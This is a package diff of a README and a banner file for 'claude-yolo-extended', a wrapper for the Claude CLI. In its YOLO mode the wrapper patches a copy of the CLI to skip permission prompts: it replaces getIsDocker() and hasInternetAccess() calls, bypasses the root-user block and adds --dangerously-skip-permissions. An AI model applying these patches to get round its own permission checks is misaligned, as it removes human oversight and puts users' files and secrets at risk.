claude-yolo-extended 1.9.2 → 1.9.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/commands/shutdown.md +17 -17
- package/.claude/commands/startup.md +13 -13
- package/.github/workflows/publish.yml +34 -0
- package/AI_HANDOFF.md +13 -15
- package/CLAUDE.md +83 -83
- package/README.md +243 -243
- package/bin/ascii-art.js +64 -64
- package/bin/cl +116 -116
- package/bin/cl.js +136 -136
- package/bin/cl.ps1 +36 -36
- package/bin/claude-yolo.js +387 -387
- package/package.json +41 -41
- package/postinstall.js +51 -51
package/README.md
CHANGED
|
@@ -1,244 +1,244 @@
|
|
|
1
|
-
# Claude YOLO Extended
|
|
2
|
-
|
|
3
|
-
A wrapper for the Claude CLI that can run in YOLO mode (bypassing all safety checks) OR Safe mode (standard Claude CLI behavior).
|
|
4
|
-
|
|
5
|
-
⚠️ **SECURITY WARNING**: YOLO mode bypasses important safety checks! This completely bypasses the "human in the loop" checks, this could delete your data, leak your secrets and even brick your computer. Use at your own risk.
|
|
6
|
-
|
|
7
|
-
## Features
|
|
8
|
-
|
|
9
|
-
- **Cross-Platform**: Works on Windows, Ubuntu, and other Unix-like systems
|
|
10
|
-
- **Dual Mode Support**: Switch between YOLO and SAFE modes
|
|
11
|
-
- **Mode Persistence**: Your mode choice is saved between sessions
|
|
12
|
-
- **Auto-start**: Claude starts automatically after mode switch
|
|
13
|
-
- **Root User Support**: YOLO mode works even as root user
|
|
14
|
-
- **Visual Mode Indicators**: Clear `[YOLO]` or `[SAFE]` prefixes
|
|
15
|
-
- **Auto-update**: Automatically checks for and installs updates to the Claude package
|
|
16
|
-
|
|
17
|
-
## Installation
|
|
18
|
-
|
|
19
|
-
### Option 1: Install from npm (Recommended)
|
|
20
|
-
|
|
21
|
-
```bash
|
|
22
|
-
# Install globally from npm
|
|
23
|
-
npm install -g claude-yolo-extended
|
|
24
|
-
```
|
|
25
|
-
|
|
26
|
-
### Option 2: Install from source
|
|
27
|
-
|
|
28
|
-
```bash
|
|
29
|
-
# Clone the repository
|
|
30
|
-
git clone https://github.com/jslitzkerttcu/claude-yolo.git
|
|
31
|
-
cd claude-yolo
|
|
32
|
-
|
|
33
|
-
# Install dependencies
|
|
34
|
-
npm install
|
|
35
|
-
|
|
36
|
-
# Link globally to use the command anywhere
|
|
37
|
-
npm link
|
|
38
|
-
```
|
|
39
|
-
|
|
40
|
-
The first time you run `claude-yolo-extended`, you will be presented with a consent prompt explaining the security implications. You must explicitly agree to continue.
|
|
41
|
-
|
|
42
|
-
<img width="750" alt="image" src="https://github.com/user-attachments/assets/f8e07cf0-6c43-4663-b9e2-f61b1afb4e99" />
|
|
43
|
-
|
|
44
|
-
Your consent choice is remembered for future runs.
|
|
45
|
-
|
|
46
|
-
## New Safe Mode Feature 🛡️
|
|
47
|
-
|
|
48
|
-
### Using command-line flags
|
|
49
|
-
|
|
50
|
-
```bash
|
|
51
|
-
# Run in SAFE mode (normal Claude CLI behavior)
|
|
52
|
-
claude-yolo-extended --safe
|
|
53
|
-
claude-yolo-extended --no-yolo
|
|
54
|
-
|
|
55
|
-
# Run in YOLO mode (default)
|
|
56
|
-
claude-yolo-extended
|
|
57
|
-
```
|
|
58
|
-
|
|
59
|
-
### Using mode commands
|
|
60
|
-
|
|
61
|
-
```bash
|
|
62
|
-
# Switch to YOLO mode
|
|
63
|
-
claude-yolo-extended mode yolo
|
|
64
|
-
|
|
65
|
-
# Switch to SAFE mode
|
|
66
|
-
claude-yolo-extended mode safe
|
|
67
|
-
|
|
68
|
-
# Check current mode
|
|
69
|
-
claude-yolo-extended mode
|
|
70
|
-
```
|
|
71
|
-
|
|
72
|
-
### Using the cl wrapper script (Recommended!)
|
|
73
|
-
|
|
74
|
-
For even easier mode management, use the included `cl` wrapper script (works on both Windows and Unix systems):
|
|
75
|
-
|
|
76
|
-
```bash
|
|
77
|
-
# After npm link, the cl wrapper is available globally
|
|
78
|
-
# Or copy manually to your PATH
|
|
79
|
-
cp node_modules/claude-yolo-extended/bin/cl /usr/local/bin/cl
|
|
80
|
-
chmod +x /usr/local/bin/cl
|
|
81
|
-
|
|
82
|
-
# Now you can use:
|
|
83
|
-
cl /YON # Switch to YOLO mode AND start Claude
|
|
84
|
-
cl /YOFF # Switch to SAFE mode AND start Claude
|
|
85
|
-
cl /STATUS # Show current mode (without starting Claude)
|
|
86
|
-
cl /HELP # Show help
|
|
87
|
-
|
|
88
|
-
# Run Claude in current mode
|
|
89
|
-
cl "write a hello world function"
|
|
90
|
-
|
|
91
|
-
# Switch mode and run with command
|
|
92
|
-
cl /YON "create a web server"
|
|
93
|
-
```
|
|
94
|
-
|
|
95
|
-
Mode preference is saved in `~/.claude_yolo_state` and persists between sessions.
|
|
96
|
-
|
|
97
|
-
## Visual Mode Indicators
|
|
98
|
-
|
|
99
|
-
The tool now shows clear visual indicators of which mode you're in:
|
|
100
|
-
|
|
101
|
-
- **YOLO Mode**: `[YOLO]` prefix in yellow 🔥
|
|
102
|
-
- **SAFE Mode**: `[SAFE]` prefix in cyan 🛡️
|
|
103
|
-
|
|
104
|
-
## Root User Support
|
|
105
|
-
|
|
106
|
-
Unlike the standard Claude CLI, this fork allows YOLO mode to run even as root user:
|
|
107
|
-
|
|
108
|
-
- Standard Claude CLI blocks `--dangerously-skip-permissions` when running as root
|
|
109
|
-
- This fork bypasses that check in YOLO mode
|
|
110
|
-
- You'll see a warning when running as root, but it will work
|
|
111
|
-
- SAFE mode respects all original Claude CLI security features
|
|
112
|
-
|
|
113
|
-
## Usage
|
|
114
|
-
|
|
115
|
-
```bash
|
|
116
|
-
claude-yolo-extended [options]
|
|
117
|
-
```
|
|
118
|
-
|
|
119
|
-
All arguments and options are passed directly to the Claude CLI.
|
|
120
|
-
|
|
121
|
-
This wrapper in YOLO mode:
|
|
122
|
-
1. Checks for and automatically installs updates to the Claude package
|
|
123
|
-
2. Displays "🔥 YOLO MODE ACTIVATED 🔥" warning in yellow text
|
|
124
|
-
3. Creates a modified copy of the Claude CLI code to bypass permission checks
|
|
125
|
-
- Replaces all `getIsDocker()` calls with `true`
|
|
126
|
-
- Replaces all `hasInternetAccess()` calls with `false`
|
|
127
|
-
- Bypasses root user checks (process.getuid() === 0)
|
|
128
|
-
- Adds colorful YOLO-themed loading messages
|
|
129
|
-
4. Leaves the original Claude CLI file untouched (won't affect your normal `claude` command)
|
|
130
|
-
5. Adds the `--dangerously-skip-permissions` flag to command line arguments
|
|
131
|
-
6. Imports the modified copy of the CLI
|
|
132
|
-
|
|
133
|
-
In SAFE mode, it simply runs the original Claude CLI without modifications.
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
## How It Works
|
|
137
|
-
|
|
138
|
-
- **YOLO Mode**: Creates a modified copy of the Claude CLI that bypasses permission checks
|
|
139
|
-
- **SAFE Mode**: Runs the original Claude CLI without modifications
|
|
140
|
-
- **Non-destructive**: Your regular `claude` command remains untouched
|
|
141
|
-
- **Debug mode**: Set `DEBUG=1` to see detailed logs
|
|
142
|
-
|
|
143
|
-
## Why?
|
|
144
|
-
|
|
145
|
-
Sometimes you just want to YOLO and skip those pesky permission checks. But sometimes you want the safety checks back! This tool gives you the best of both worlds.
|
|
146
|
-
|
|
147
|
-
## Debugging
|
|
148
|
-
|
|
149
|
-
If you encounter any issues, you can run with debug output:
|
|
150
|
-
|
|
151
|
-
```bash
|
|
152
|
-
DEBUG=1 claude-yolo-extended
|
|
153
|
-
```
|
|
154
|
-
|
|
155
|
-
This will show additional information about:
|
|
156
|
-
- Claude package update checks
|
|
157
|
-
- Current and latest available versions
|
|
158
|
-
- When updates are being installed
|
|
159
|
-
- Modifications being made to the CLI file
|
|
160
|
-
- Root bypass operations
|
|
161
|
-
|
|
162
|
-
## Auto-Update Feature
|
|
163
|
-
|
|
164
|
-
Claude YOLO automatically checks for updates to the Claude package each time it runs:
|
|
165
|
-
|
|
166
|
-
1. When you run `claude-yolo-extended`, it checks for the latest version of `@anthropic-ai/claude-code` on npm
|
|
167
|
-
2. If your installed version is outdated, it will:
|
|
168
|
-
- Update your package.json with the latest version
|
|
169
|
-
- Run npm install to get the newest version
|
|
170
|
-
- Notify you that an update was applied
|
|
171
|
-
3. This ensures you're always using the latest Claude CLI features
|
|
172
|
-
|
|
173
|
-
## Important Security Disclaimer
|
|
174
|
-
|
|
175
|
-
This is an unofficial tool and not supported by Anthropic. Use at your own risk.
|
|
176
|
-
|
|
177
|
-
**SECURITY WARNING**:
|
|
178
|
-
- YOLO mode bypasses safety mechanisms intentionally built into the Claude CLI
|
|
179
|
-
- The `--dangerously-skip-permissions` flag was designed for use in container environments
|
|
180
|
-
- This fork additionally bypasses root user restrictions in YOLO mode
|
|
181
|
-
- By using this tool in YOLO mode, you acknowledge that:
|
|
182
|
-
- Important safety checks are being bypassed
|
|
183
|
-
- Claude may access files it normally would not have permission to access
|
|
184
|
-
- Running as root with bypassed permissions is extremely dangerous
|
|
185
|
-
- You accept full responsibility for any security implications
|
|
186
|
-
|
|
187
|
-
Anthropic designed these safety checks for good reason. Only use YOLO mode if you fully understand and accept these risks. Use SAFE mode when you want the standard Claude CLI protections.
|
|
188
|
-
|
|
189
|
-
## Development & Contributing
|
|
190
|
-
|
|
191
|
-
### Making Changes
|
|
192
|
-
|
|
193
|
-
1. Clone the repository:
|
|
194
|
-
```bash
|
|
195
|
-
git clone https://github.com/jslitzkerttcu/claude-yolo.git
|
|
196
|
-
cd claude-yolo
|
|
197
|
-
```
|
|
198
|
-
|
|
199
|
-
2. Install dependencies:
|
|
200
|
-
```bash
|
|
201
|
-
npm install
|
|
202
|
-
```
|
|
203
|
-
|
|
204
|
-
3. Link locally for testing:
|
|
205
|
-
```bash
|
|
206
|
-
npm link
|
|
207
|
-
```
|
|
208
|
-
|
|
209
|
-
4. Test your changes:
|
|
210
|
-
```bash
|
|
211
|
-
claude-yolo-extended --help
|
|
212
|
-
```
|
|
213
|
-
|
|
214
|
-
### Publishing Updates
|
|
215
|
-
|
|
216
|
-
1. Make your changes and test thoroughly
|
|
217
|
-
|
|
218
|
-
2. Update the version number:
|
|
219
|
-
```bash
|
|
220
|
-
# For bug fixes (1.8.0 -> 1.8.1)
|
|
221
|
-
npm version patch
|
|
222
|
-
|
|
223
|
-
# For new features (1.8.0 -> 1.9.0)
|
|
224
|
-
npm version minor
|
|
225
|
-
|
|
226
|
-
# For breaking changes (1.8.0 -> 2.0.0)
|
|
227
|
-
npm version major
|
|
228
|
-
```
|
|
229
|
-
|
|
230
|
-
3. Publish to npm:
|
|
231
|
-
```bash
|
|
232
|
-
npm publish
|
|
233
|
-
```
|
|
234
|
-
|
|
235
|
-
4. Push changes to GitHub:
|
|
236
|
-
```bash
|
|
237
|
-
git push origin main --tags
|
|
238
|
-
```
|
|
239
|
-
|
|
240
|
-
### Version Guidelines
|
|
241
|
-
|
|
242
|
-
- **Patch** (x.x.1): Bug fixes, typo corrections, small tweaks
|
|
243
|
-
- **Minor** (x.1.0): New features, improvements that don't break existing functionality
|
|
1
|
+
# Claude YOLO Extended
|
|
2
|
+
|
|
3
|
+
A wrapper for the Claude CLI that can run in YOLO mode (bypassing all safety checks) OR Safe mode (standard Claude CLI behavior).
|
|
4
|
+
|
|
5
|
+
⚠️ **SECURITY WARNING**: YOLO mode bypasses important safety checks! This completely bypasses the "human in the loop" checks, this could delete your data, leak your secrets and even brick your computer. Use at your own risk.
|
|
6
|
+
|
|
7
|
+
## Features
|
|
8
|
+
|
|
9
|
+
- **Cross-Platform**: Works on Windows, Ubuntu, and other Unix-like systems
|
|
10
|
+
- **Dual Mode Support**: Switch between YOLO and SAFE modes
|
|
11
|
+
- **Mode Persistence**: Your mode choice is saved between sessions
|
|
12
|
+
- **Auto-start**: Claude starts automatically after mode switch
|
|
13
|
+
- **Root User Support**: YOLO mode works even as root user
|
|
14
|
+
- **Visual Mode Indicators**: Clear `[YOLO]` or `[SAFE]` prefixes
|
|
15
|
+
- **Auto-update**: Automatically checks for and installs updates to the Claude package
|
|
16
|
+
|
|
17
|
+
## Installation
|
|
18
|
+
|
|
19
|
+
### Option 1: Install from npm (Recommended)
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
# Install globally from npm
|
|
23
|
+
npm install -g claude-yolo-extended
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
### Option 2: Install from source
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
# Clone the repository
|
|
30
|
+
git clone https://github.com/jslitzkerttcu/claude-yolo.git
|
|
31
|
+
cd claude-yolo
|
|
32
|
+
|
|
33
|
+
# Install dependencies
|
|
34
|
+
npm install
|
|
35
|
+
|
|
36
|
+
# Link globally to use the command anywhere
|
|
37
|
+
npm link
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
The first time you run `claude-yolo-extended`, you will be presented with a consent prompt explaining the security implications. You must explicitly agree to continue.
|
|
41
|
+
|
|
42
|
+
<img width="750" alt="image" src="https://github.com/user-attachments/assets/f8e07cf0-6c43-4663-b9e2-f61b1afb4e99" />
|
|
43
|
+
|
|
44
|
+
Your consent choice is remembered for future runs.
|
|
45
|
+
|
|
46
|
+
## New Safe Mode Feature 🛡️
|
|
47
|
+
|
|
48
|
+
### Using command-line flags
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# Run in SAFE mode (normal Claude CLI behavior)
|
|
52
|
+
claude-yolo-extended --safe
|
|
53
|
+
claude-yolo-extended --no-yolo
|
|
54
|
+
|
|
55
|
+
# Run in YOLO mode (default)
|
|
56
|
+
claude-yolo-extended
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Using mode commands
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
# Switch to YOLO mode
|
|
63
|
+
claude-yolo-extended mode yolo
|
|
64
|
+
|
|
65
|
+
# Switch to SAFE mode
|
|
66
|
+
claude-yolo-extended mode safe
|
|
67
|
+
|
|
68
|
+
# Check current mode
|
|
69
|
+
claude-yolo-extended mode
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### Using the cl wrapper script (Recommended!)
|
|
73
|
+
|
|
74
|
+
For even easier mode management, use the included `cl` wrapper script (works on both Windows and Unix systems):
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# After npm link, the cl wrapper is available globally
|
|
78
|
+
# Or copy manually to your PATH
|
|
79
|
+
cp node_modules/claude-yolo-extended/bin/cl /usr/local/bin/cl
|
|
80
|
+
chmod +x /usr/local/bin/cl
|
|
81
|
+
|
|
82
|
+
# Now you can use:
|
|
83
|
+
cl /YON # Switch to YOLO mode AND start Claude
|
|
84
|
+
cl /YOFF # Switch to SAFE mode AND start Claude
|
|
85
|
+
cl /STATUS # Show current mode (without starting Claude)
|
|
86
|
+
cl /HELP # Show help
|
|
87
|
+
|
|
88
|
+
# Run Claude in current mode
|
|
89
|
+
cl "write a hello world function"
|
|
90
|
+
|
|
91
|
+
# Switch mode and run with command
|
|
92
|
+
cl /YON "create a web server"
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
Mode preference is saved in `~/.claude_yolo_state` and persists between sessions.
|
|
96
|
+
|
|
97
|
+
## Visual Mode Indicators
|
|
98
|
+
|
|
99
|
+
The tool now shows clear visual indicators of which mode you're in:
|
|
100
|
+
|
|
101
|
+
- **YOLO Mode**: `[YOLO]` prefix in yellow 🔥
|
|
102
|
+
- **SAFE Mode**: `[SAFE]` prefix in cyan 🛡️
|
|
103
|
+
|
|
104
|
+
## Root User Support
|
|
105
|
+
|
|
106
|
+
Unlike the standard Claude CLI, this fork allows YOLO mode to run even as root user:
|
|
107
|
+
|
|
108
|
+
- Standard Claude CLI blocks `--dangerously-skip-permissions` when running as root
|
|
109
|
+
- This fork bypasses that check in YOLO mode
|
|
110
|
+
- You'll see a warning when running as root, but it will work
|
|
111
|
+
- SAFE mode respects all original Claude CLI security features
|
|
112
|
+
|
|
113
|
+
## Usage
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
claude-yolo-extended [options]
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
All arguments and options are passed directly to the Claude CLI.
|
|
120
|
+
|
|
121
|
+
This wrapper in YOLO mode:
|
|
122
|
+
1. Checks for and automatically installs updates to the Claude package
|
|
123
|
+
2. Displays "🔥 YOLO MODE ACTIVATED 🔥" warning in yellow text
|
|
124
|
+
3. Creates a modified copy of the Claude CLI code to bypass permission checks
|
|
125
|
+
- Replaces all `getIsDocker()` calls with `true`
|
|
126
|
+
- Replaces all `hasInternetAccess()` calls with `false`
|
|
127
|
+
- Bypasses root user checks (process.getuid() === 0)
|
|
128
|
+
- Adds colorful YOLO-themed loading messages
|
|
129
|
+
4. Leaves the original Claude CLI file untouched (won't affect your normal `claude` command)
|
|
130
|
+
5. Adds the `--dangerously-skip-permissions` flag to command line arguments
|
|
131
|
+
6. Imports the modified copy of the CLI
|
|
132
|
+
|
|
133
|
+
In SAFE mode, it simply runs the original Claude CLI without modifications.
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
## How It Works
|
|
137
|
+
|
|
138
|
+
- **YOLO Mode**: Creates a modified copy of the Claude CLI that bypasses permission checks
|
|
139
|
+
- **SAFE Mode**: Runs the original Claude CLI without modifications
|
|
140
|
+
- **Non-destructive**: Your regular `claude` command remains untouched
|
|
141
|
+
- **Debug mode**: Set `DEBUG=1` to see detailed logs
|
|
142
|
+
|
|
143
|
+
## Why?
|
|
144
|
+
|
|
145
|
+
Sometimes you just want to YOLO and skip those pesky permission checks. But sometimes you want the safety checks back! This tool gives you the best of both worlds.
|
|
146
|
+
|
|
147
|
+
## Debugging
|
|
148
|
+
|
|
149
|
+
If you encounter any issues, you can run with debug output:
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
DEBUG=1 claude-yolo-extended
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
This will show additional information about:
|
|
156
|
+
- Claude package update checks
|
|
157
|
+
- Current and latest available versions
|
|
158
|
+
- When updates are being installed
|
|
159
|
+
- Modifications being made to the CLI file
|
|
160
|
+
- Root bypass operations
|
|
161
|
+
|
|
162
|
+
## Auto-Update Feature
|
|
163
|
+
|
|
164
|
+
Claude YOLO automatically checks for updates to the Claude package each time it runs:
|
|
165
|
+
|
|
166
|
+
1. When you run `claude-yolo-extended`, it checks for the latest version of `@anthropic-ai/claude-code` on npm
|
|
167
|
+
2. If your installed version is outdated, it will:
|
|
168
|
+
- Update your package.json with the latest version
|
|
169
|
+
- Run npm install to get the newest version
|
|
170
|
+
- Notify you that an update was applied
|
|
171
|
+
3. This ensures you're always using the latest Claude CLI features
|
|
172
|
+
|
|
173
|
+
## Important Security Disclaimer
|
|
174
|
+
|
|
175
|
+
This is an unofficial tool and not supported by Anthropic. Use at your own risk.
|
|
176
|
+
|
|
177
|
+
**SECURITY WARNING**:
|
|
178
|
+
- YOLO mode bypasses safety mechanisms intentionally built into the Claude CLI
|
|
179
|
+
- The `--dangerously-skip-permissions` flag was designed for use in container environments
|
|
180
|
+
- This fork additionally bypasses root user restrictions in YOLO mode
|
|
181
|
+
- By using this tool in YOLO mode, you acknowledge that:
|
|
182
|
+
- Important safety checks are being bypassed
|
|
183
|
+
- Claude may access files it normally would not have permission to access
|
|
184
|
+
- Running as root with bypassed permissions is extremely dangerous
|
|
185
|
+
- You accept full responsibility for any security implications
|
|
186
|
+
|
|
187
|
+
Anthropic designed these safety checks for good reason. Only use YOLO mode if you fully understand and accept these risks. Use SAFE mode when you want the standard Claude CLI protections.
|
|
188
|
+
|
|
189
|
+
## Development & Contributing
|
|
190
|
+
|
|
191
|
+
### Making Changes
|
|
192
|
+
|
|
193
|
+
1. Clone the repository:
|
|
194
|
+
```bash
|
|
195
|
+
git clone https://github.com/jslitzkerttcu/claude-yolo.git
|
|
196
|
+
cd claude-yolo
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
2. Install dependencies:
|
|
200
|
+
```bash
|
|
201
|
+
npm install
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
3. Link locally for testing:
|
|
205
|
+
```bash
|
|
206
|
+
npm link
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
4. Test your changes:
|
|
210
|
+
```bash
|
|
211
|
+
claude-yolo-extended --help
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### Publishing Updates
|
|
215
|
+
|
|
216
|
+
1. Make your changes and test thoroughly
|
|
217
|
+
|
|
218
|
+
2. Update the version number:
|
|
219
|
+
```bash
|
|
220
|
+
# For bug fixes (1.8.0 -> 1.8.1)
|
|
221
|
+
npm version patch
|
|
222
|
+
|
|
223
|
+
# For new features (1.8.0 -> 1.9.0)
|
|
224
|
+
npm version minor
|
|
225
|
+
|
|
226
|
+
# For breaking changes (1.8.0 -> 2.0.0)
|
|
227
|
+
npm version major
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
3. Publish to npm:
|
|
231
|
+
```bash
|
|
232
|
+
npm publish
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
4. Push changes to GitHub:
|
|
236
|
+
```bash
|
|
237
|
+
git push origin main --tags
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
### Version Guidelines
|
|
241
|
+
|
|
242
|
+
- **Patch** (x.x.1): Bug fixes, typo corrections, small tweaks
|
|
243
|
+
- **Minor** (x.1.0): New features, improvements that don't break existing functionality
|
|
244
244
|
- **Major** (2.0.0): Breaking changes, major rewrites, incompatible API changes
|
package/bin/ascii-art.js
CHANGED
|
@@ -1,65 +1,65 @@
|
|
|
1
|
-
// ANSI color codes
|
|
2
|
-
const RED = '\x1b[31m';
|
|
3
|
-
const YELLOW = '\x1b[33m';
|
|
4
|
-
const CYAN = '\x1b[36m';
|
|
5
|
-
const GREEN = '\x1b[32m';
|
|
6
|
-
const RESET = '\x1b[0m';
|
|
7
|
-
const BOLD = '\x1b[1m';
|
|
8
|
-
const ORANGE = '\x1b[38;5;208m';
|
|
9
|
-
|
|
10
|
-
export const YOLO_ART = `${YELLOW}
|
|
11
|
-
██╗ ██╗ ██████╗ ██╗ ██████╗ ██╗
|
|
12
|
-
╚██╗ ██╔╝██╔═══██╗██║ ██╔═══██╗██║
|
|
13
|
-
╚████╔╝ ██║ ██║██║ ██║ ██║██║
|
|
14
|
-
╚██╔╝ ██║ ██║██║ ██║ ██║╚═╝
|
|
15
|
-
██║ ╚██████╔╝███████╗╚██████╔╝██╗
|
|
16
|
-
╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝
|
|
17
|
-
${ORANGE} 🔥 NO SAFETY - MAXIMUM POWER - USE WITH CAUTION 🔥${RESET}
|
|
18
|
-
`;
|
|
19
|
-
|
|
20
|
-
export const SAFE_ART = `${CYAN}
|
|
21
|
-
███████╗ █████╗ ███████╗███████╗
|
|
22
|
-
██╔════╝██╔══██╗██╔════╝██╔════╝
|
|
23
|
-
███████╗███████║█████╗ █████╗
|
|
24
|
-
╚════██║██╔══██║██╔══╝ ██╔══╝
|
|
25
|
-
███████║██║ ██║██║ ███████╗
|
|
26
|
-
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝
|
|
27
|
-
${GREEN} 🛡️ PROTECTED MODE - SAFETY FIRST 🛡️${RESET}
|
|
28
|
-
`;
|
|
29
|
-
|
|
30
|
-
export const YOLO_BANNER = `${YELLOW}🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥${RESET}`;
|
|
31
|
-
export const SAFE_BANNER = `${CYAN}🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️${RESET}`;
|
|
32
|
-
|
|
33
|
-
export function showYoloActivated() {
|
|
34
|
-
console.log(YOLO_BANNER);
|
|
35
|
-
console.log(YOLO_ART);
|
|
36
|
-
console.log(YOLO_BANNER);
|
|
37
|
-
console.log(`${RED}${BOLD}⚠️ WARNING: All safety checks DISABLED!${RESET}`);
|
|
38
|
-
console.log(`${RED}⚠️ Claude can access ANY file without asking!${RESET}`);
|
|
39
|
-
}
|
|
40
|
-
|
|
41
|
-
export function showSafeActivated() {
|
|
42
|
-
console.log(SAFE_BANNER);
|
|
43
|
-
console.log(SAFE_ART);
|
|
44
|
-
console.log(SAFE_BANNER);
|
|
45
|
-
console.log(`${GREEN}✓ Safety checks enabled${RESET}`);
|
|
46
|
-
console.log(`${GREEN}✓ Claude will ask for permissions${RESET}`);
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
export function showModeStatus(mode) {
|
|
50
|
-
console.log(`${BOLD}Claude CLI Status:${RESET}`);
|
|
51
|
-
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
52
|
-
|
|
53
|
-
if (mode === 'YOLO') {
|
|
54
|
-
console.log(YOLO_ART);
|
|
55
|
-
console.log(`Mode: ${YELLOW}${BOLD}YOLO${RESET} 🔥`);
|
|
56
|
-
console.log(`Safety: ${RED}DISABLED${RESET}`);
|
|
57
|
-
console.log(`Permissions: ${RED}BYPASSED${RESET}`);
|
|
58
|
-
} else {
|
|
59
|
-
console.log(SAFE_ART);
|
|
60
|
-
console.log(`Mode: ${CYAN}${BOLD}SAFE${RESET} 🛡️`);
|
|
61
|
-
console.log(`Safety: ${GREEN}ENABLED${RESET}`);
|
|
62
|
-
console.log(`Permissions: ${GREEN}REQUIRED${RESET}`);
|
|
63
|
-
}
|
|
64
|
-
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
1
|
+
// ANSI color codes
|
|
2
|
+
const RED = '\x1b[31m';
|
|
3
|
+
const YELLOW = '\x1b[33m';
|
|
4
|
+
const CYAN = '\x1b[36m';
|
|
5
|
+
const GREEN = '\x1b[32m';
|
|
6
|
+
const RESET = '\x1b[0m';
|
|
7
|
+
const BOLD = '\x1b[1m';
|
|
8
|
+
const ORANGE = '\x1b[38;5;208m';
|
|
9
|
+
|
|
10
|
+
export const YOLO_ART = `${YELLOW}
|
|
11
|
+
██╗ ██╗ ██████╗ ██╗ ██████╗ ██╗
|
|
12
|
+
╚██╗ ██╔╝██╔═══██╗██║ ██╔═══██╗██║
|
|
13
|
+
╚████╔╝ ██║ ██║██║ ██║ ██║██║
|
|
14
|
+
╚██╔╝ ██║ ██║██║ ██║ ██║╚═╝
|
|
15
|
+
██║ ╚██████╔╝███████╗╚██████╔╝██╗
|
|
16
|
+
╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝
|
|
17
|
+
${ORANGE} 🔥 NO SAFETY - MAXIMUM POWER - USE WITH CAUTION 🔥${RESET}
|
|
18
|
+
`;
|
|
19
|
+
|
|
20
|
+
export const SAFE_ART = `${CYAN}
|
|
21
|
+
███████╗ █████╗ ███████╗███████╗
|
|
22
|
+
██╔════╝██╔══██╗██╔════╝██╔════╝
|
|
23
|
+
███████╗███████║█████╗ █████╗
|
|
24
|
+
╚════██║██╔══██║██╔══╝ ██╔══╝
|
|
25
|
+
███████║██║ ██║██║ ███████╗
|
|
26
|
+
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝
|
|
27
|
+
${GREEN} 🛡️ PROTECTED MODE - SAFETY FIRST 🛡️${RESET}
|
|
28
|
+
`;
|
|
29
|
+
|
|
30
|
+
export const YOLO_BANNER = `${YELLOW}🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥 🔥${RESET}`;
|
|
31
|
+
export const SAFE_BANNER = `${CYAN}🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️ 🛡️${RESET}`;
|
|
32
|
+
|
|
33
|
+
export function showYoloActivated() {
|
|
34
|
+
console.log(YOLO_BANNER);
|
|
35
|
+
console.log(YOLO_ART);
|
|
36
|
+
console.log(YOLO_BANNER);
|
|
37
|
+
console.log(`${RED}${BOLD}⚠️ WARNING: All safety checks DISABLED!${RESET}`);
|
|
38
|
+
console.log(`${RED}⚠️ Claude can access ANY file without asking!${RESET}`);
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
export function showSafeActivated() {
|
|
42
|
+
console.log(SAFE_BANNER);
|
|
43
|
+
console.log(SAFE_ART);
|
|
44
|
+
console.log(SAFE_BANNER);
|
|
45
|
+
console.log(`${GREEN}✓ Safety checks enabled${RESET}`);
|
|
46
|
+
console.log(`${GREEN}✓ Claude will ask for permissions${RESET}`);
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
export function showModeStatus(mode) {
|
|
50
|
+
console.log(`${BOLD}Claude CLI Status:${RESET}`);
|
|
51
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
52
|
+
|
|
53
|
+
if (mode === 'YOLO') {
|
|
54
|
+
console.log(YOLO_ART);
|
|
55
|
+
console.log(`Mode: ${YELLOW}${BOLD}YOLO${RESET} 🔥`);
|
|
56
|
+
console.log(`Safety: ${RED}DISABLED${RESET}`);
|
|
57
|
+
console.log(`Permissions: ${RED}BYPASSED${RESET}`);
|
|
58
|
+
} else {
|
|
59
|
+
console.log(SAFE_ART);
|
|
60
|
+
console.log(`Mode: ${CYAN}${BOLD}SAFE${RESET} 🛡️`);
|
|
61
|
+
console.log(`Safety: ${GREEN}ENABLED${RESET}`);
|
|
62
|
+
console.log(`Permissions: ${GREEN}REQUIRED${RESET}`);
|
|
63
|
+
}
|
|
64
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
65
65
|
}
